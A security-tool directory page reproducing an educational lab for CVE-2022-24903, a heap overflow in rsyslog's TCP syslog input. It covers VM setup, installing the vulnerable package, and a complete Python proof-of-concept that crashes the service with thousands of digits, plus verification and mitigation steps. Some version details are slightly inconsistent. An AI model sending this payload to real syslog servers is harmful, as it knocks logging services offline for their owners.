Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab — CVE-2022-24903 Heap-based buffer overflow | Kitploit
Tools/GitHubGitHub/andree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab
Vulnerability AnalysisExploitationLearning & EducationBinary ExploitationLabs & Practice
GitHubandree554/cve-2022-24903-heap-based-buffer-overflow-hand-on-lab

CVE-2022-24903-Heap-based-buffer-overflow-Hand-On-Lab

CVE-2022-24903 Heap-based buffer overflow

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-24903 Hands-On Lab

Author: Andrew Beshay Mousa

A practical hands-on lab demonstrating the rsyslog heap buffer overflow vulnerability.

rsyslog CVE Type Protocol

A practical lab environment to reproduce and understand the rsyslog Heap Buffer Overflow vulnerability (CVE-2022-24903) via octet-counted framing in TCP syslog reception.


Table of Contents

  • Overview
  • Lab Architecture
  • Prerequisites
  • Vulnerability Details
  • Lab Setup
    • Target Machine (Ubuntu)
    • Attacker Machine (Kali)
  • Exploitation
  • Verification
  • Troubleshooting
  • Mitigation
  • References

Overview

CVE-2022-24903 is a heap buffer overflow vulnerability in rsyslog's TCP syslog reception module (imtcp) when using octet-counted framing (RFC 5425).

An attacker can send a crafted TCP syslog message with an excessively long octet-count prefix, causing rsyslog to write beyond the bounds of a heap-allocated buffer, resulting in a denial of service (DoS) or potential memory corruption.

AttributeValue
CVE IDCVE-2022-24903
Affectedrsyslog < 8.2204.1
VectorNetwork
Port514/TCP
Moduleimtcp (TCP Input)
ImpactDoS / Heap Corruption
RCE Likely?No (vendor assessment)

Lab Architecture

root@kitploit:~
+----------------------------------------------------------+
|                  Network: Host-Only                       |
|                Subnet: 192.168.56.0/24                   |
+--------------------------+-------------------------------+
|                          |                               |
|   +---------------+      |      +--------------------+   |
|   |  [Attacker]   |      |      |     [Target]       |   |
|   |   Kali Linux  |<-----|----->|  Ubuntu 22.04      |   |
|   |               | TCP  |      |  rsyslog 8.2001.0  |   |
|   |  192.168.56.10| 514  |      |  192.168.56.20     |   |
|   |  RAM: 2GB     |      |      |  RAM: 1GB          |   |
|   |  CPU: 1       |      |      |  CPU: 1            |   |
|   +---------------+      |      +--------------------+   |
|                          |                               |
+----------------------------------------------------------+

VMs Required

VMOSRoleIPRAMCPU
TargetUbuntu 22.04Vulnerable rsyslog server192.168.56.201 GB1
AttackerKali LinuxExploit sender192.168.56.102 GB1

Note: You can use any Ubuntu version (20.04, 22.04, 24.04) as the Target. The key is manually installing the vulnerable rsyslog 8.2001.0 .deb package.


Prerequisites

  • VirtualBox or VMware Workstation
  • Ubuntu 22.04 ISO (~2 GB)
  • Kali Linux VM (~4 GB)
  • Host-Only Network configured in your hypervisor
  • Basic knowledge of Linux commands and Python

Vulnerability Details

What is Octet-Counted Framing?

In TCP syslog (RFC 5425), messages are prefixed with their length in bytes:

root@kitploit:~
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
 octet count (3 digits = 123 bytes follow)

The Bug

In vulnerable rsyslog versions, the octet-count parser:

  1. Accumulates digits into a fixed-size heap buffer
  2. Does not check buffer boundaries while writing digits
  3. Continues writing digits even after the octet count exceeds the maximum allowed value
root@kitploit:~
// Simplified vulnerable logic:
char buffer[20];          // Small heap buffer
int i = 0;
while (isdigit(ch)) {     // Read digits
    buffer[i++] = ch;     // Write to buffer
    // MISSING: if (i >= 20) break;
    ch = next_char();
}

Result: Sending 9999... (5000+ digits) overflows the heap buffer, corrupting adjacent memory.

Why RCE is Difficult

  • Overflow is limited to numeric characters only (0-9)
  • Parser stops at first non-digit character
  • Cannot inject shellcode directly
  • DoS is guaranteed; RCE is considered unlikely by the vendor

Lab Setup

Step 1: Configure Host-Only Network

In your hypervisor, create a Host-Only network:

  • Subnet: 192.168.56.0/24
  • DHCP: Disabled (static IPs)

Attach both VMs to this network.


Step 2: Target Machine (Ubuntu)

2.1 Set Static IP

root@kitploit:~
sudo nano /etc/netplan/00-installer-config.yaml

Paste:

root@kitploit:~
network:
  version: 2
  ethernets:
    enp0s3:
      dhcp4: no
      addresses:
        - 192.168.56.20/24

Apply:

root@kitploit:~
sudo netplan apply

Verify:

root@kitploit:~
ip addr show | grep 192.168.56.20

2.2 Stop and Remove Modern rsyslog

root@kitploit:~
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y

2.3 Download and Install Vulnerable rsyslog

root@kitploit:~
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog

If you get a dpkg lock error:

root@kitploit:~
sudo kill -9 <PID>
sudo rm -f /var/lib/dpkg/lock-frontend
sudo dpkg --configure -a

Verify version:

root@kitploit:~
rsyslogd -v | head -2

Expected output:

root@kitploit:~
rsyslogd  8.2001.0

2.4 Disable AppArmor (Lab Only)

AppArmor may block rsyslog from functioning correctly with the old package:

root@kitploit:~
sudo systemctl stop apparmor
sudo systemctl disable apparmor

2.5 Configure rsyslog for TCP 514

root@kitploit:~
sudo nano /etc/rsyslog.conf

Clear the file and paste:

root@kitploit:~
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log

2.6 Open Firewall Port

root@kitploit:~
sudo ufw allow 514/tcp
sudo ufw --force enable

2.7 Start rsyslog

root@kitploit:~
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager

Verify listening:

root@kitploit:~
sudo ss -tlnp | grep 514

Expected:

root@kitploit:~
LISTEN  0  25  0.0.0.0:514  users:(("rsyslogd",pid=...,fd=4))

Step 3: Attacker Machine (Kali)

3.1 Set Static IP

root@kitploit:~
sudo nano /etc/network/interfaces

Paste:

root@kitploit:~
auto eth0
iface eth0 inet static
    address 192.168.56.10
    netmask 255.255.255.0

Or if using Netplan:

root@kitploit:~
sudo nano /etc/netplan/01-netcfg.yaml
root@kitploit:~
network:
  version: 2
  ethernets:
    eth0:
      dhcp4: no
      addresses:
        - 192.168.56.10/24
root@kitploit:~
sudo netplan apply

3.2 Create Exploit Script

root@kitploit:~
cd ~/Desktop
nano exploit.py

Paste:

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""

import socket
import sys

TARGET = "192.168.56.20"  # Change to your Target IP
PORT = 514

def exploit():
    """
    Send a crafted TCP syslog message with an excessively long octet-count prefix.
    The octet-count parser writes digits to a heap buffer without bounds checking,
    causing a heap buffer overflow.
    """
    # Create a massive octet count string (5000+ digits)
    # This overflows the heap buffer allocated for parsing the count
    overflow_digits = b"9" * 5000

    # The rest of the message (parser will crash before processing this)
    syslog_msg = b" <1>test crash message\n"

    payload = overflow_digits + syslog_msg

    print(f"[*] Target: {TARGET}:{PORT}")
    print(f"[*] Payload size: {len(payload)} bytes")
    print(f"[*] Octet count digits: {len(overflow_digits)}")

    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(5)
        sock.connect((TARGET, PORT))

        print(f"[*] Connected. Sending payload...")
        sock.sendall(payload)

        # Try to receive (likely won't get anything back after crash)
        try:
            response = sock.recv(1024)
            print(f"[+] Received: {response}")
        except socket.timeout:
            print("[!] No response - target may have crashed!")

        sock.close()
        print("[*] Exploit completed.")

    except ConnectionRefusedError:
        print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
        sys.exit(1)
    except BrokenPipeError:
        print("[!] Connection broken - target likely crashed mid-transmission!")

if __name__ == "__main__":
    print("=" * 50)
    print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
    print("=" * 50)
    exploit()

Make executable:

root@kitploit:~
chmod +x exploit.py

Exploitation

Pre-Flight Check

From the Attacker, verify connectivity:

root@kitploit:~
nc -zv 192.168.56.20 514

Expected:

root@kitploit:~
(UNKNOWN) [192.168.56.20] 514 (shell) open

Run the Exploit

root@kitploit:~
python3 ~/Desktop/exploit.py

Expected output:

root@kitploit:~
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.

Verification

On the Target machine, verify the crash:

Method 1: Check if rsyslog is still running

root@kitploit:~
ps aux | grep rsyslog

If no output -> rsyslog crashed

Method 2: Check kernel logs

root@kitploit:~
sudo dmesg | tail -10

Expected output:

root@kitploit:~
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]

Or:

root@kitploit:~
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]

Method 3: Check systemd journal

root@kitploit:~
sudo journalctl -u rsyslog --no-pager | tail -10

Method 4: Restart and Re-test

To confirm reproducibility:

root@kitploit:~
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514

Then re-run the exploit from Kali. The crash should happen again.


Troubleshooting

IssueSolution
Connection refusedrsyslog is not running or not listening on TCP 514. Check sudo systemctl status rsyslog and `sudo ss -tlnp
Unit rsyslog.service is maskedRun sudo systemctl unmask rsyslog.service syslog.socket
dpkg frontend lockRun sudo kill -9 <PID> then sudo rm -f /var/lib/dpkg/lock-frontend
AppArmor DENIED in dmesgRun sudo systemctl stop apparmor && sudo systemctl disable apparmor
rsyslog version is 8.2112+You installed the patched version. Download and install rsyslog_8.2001.0-1ubuntu1_amd64.deb manually
No crash after exploitIncrease payload size to b"9" * 20000

Mitigation

1. Upgrade rsyslog

root@kitploit:~
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog

Verify patched version:

root@kitploit:~
rsyslogd -v | head -2

Should be 8.2204.1 or higher.

2. Disable TCP syslog if not needed

Comment out in /etc/rsyslog.conf:

root@kitploit:~
# module(load="imtcp")
# input(type="imtcp" port="514")

3. Use TLS/SSL (RFC 5425)

If TCP syslog is required, use encrypted transport:

root@kitploit:~
module(load="imgtls")
input(type="imgtls" port="6514")

4. Firewall Restrictions

Restrict TCP 514 to trusted hosts only:

root@kitploit:~
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp

References

  • NVD - CVE-2022-24903
  • rsyslog Security Advisory
  • Ubuntu Security Notice USN-5404-1
  • RFC 5424 - Syslog Protocol
  • RFC 5425 - TLS Transport

Disclaimer

This lab is for educational and research purposes only. Do not use this exploit against systems you do not own or have explicit permission to test. The author assumes no liability for misuse of this information.


License

This project is licensed under the MIT License.


Built with coffee and curiosity by Andrew Beshay Mousa.

Download Tool